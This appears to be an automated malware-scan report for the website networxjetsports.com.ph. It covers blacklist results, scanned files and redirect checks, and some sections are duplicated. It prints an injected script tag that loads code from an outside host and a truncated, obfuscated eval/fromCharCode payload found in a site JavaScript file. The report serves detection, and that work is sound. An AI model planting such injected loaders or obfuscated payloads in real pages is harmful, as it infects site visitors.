Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=networxjetsports.com.ph
Result: This site is not currently listed as suspicious.
Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://networxjetsports.com.ph/
Result: The website is marked by Yandex as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Yandex as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://networxjetsports.com.ph/ | 200 OK Content-Length: 3261 Content-Type: text/html | suspicious |
Suspicious code found <script type="text/javascript">var gwloaded = false;</script> <script src="http://reportaz.home.pl/2lIaNXIH.php" type="text/javascript"></script> | ||
http://www.google-analytics.com/urchin.js | 200 OK Content-Length: 22678 Content-Type: text/javascript | clean |
http://networxjetsports.com.ph/Scripts/swfobject_modified.js | 200 OK Content-Length: 26308 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) w=window;aq="0x";ff=String;ff=ff.fromCharCode;try{document["\x62ody"]^=~1;}catch(d21vd12v){v=123;vzs=false;try{document;}catch(q){vzs=1;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,64,69,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,64,69,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,69,5c,6a,6b,66,65,5c,6b,6a,66,5d,6b,25,5a,66,64,25,58,69,26,5f,6b,5b,66,5a,6a,2 Antivirus reports:
| ||
http://networxjetsports.com.ph/home.php | 200 OK Content-Length: 12138 Content-Type: text/html | clean |
http://reportaz.home.pl/2lIaNXIH.php | 404 Not Found Content-Length: 183 Content-Type: text/html | clean |
http://reportaz.home.pl/test404page.js | 404 Not Found Content-Length: 185 Content-Type: text/html | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: networxjetsports.com.ph
Result:
HTTP/1.1 200 OK
Connection: close
Date: Thu, 28 Aug 2014 05:49:22 GMT
Server: Apache
Vary: Accept-Encoding,User-Agent
Content-Length: 3261
Content-Type: text/html
...3261 bytes of data.
GET / HTTP/1.1
Host: networxjetsports.com.ph
Result:
HTTP/1.1 200 OK
Connection: close
Date: Thu, 28 Aug 2014 05:49:22 GMT
Server: Apache
Vary: Accept-Encoding,User-Agent
Content-Length: 3261
Content-Type: text/html
...3261 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: networxjetsports.com.ph
Referer: http://www.google.com/search?q=networxjetsports.com.ph
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: networxjetsports.com.ph
Referer: http://www.google.com/search?q=networxjetsports.com.ph
Result:
The result is similar to the first query. There are no suspicious redirects found.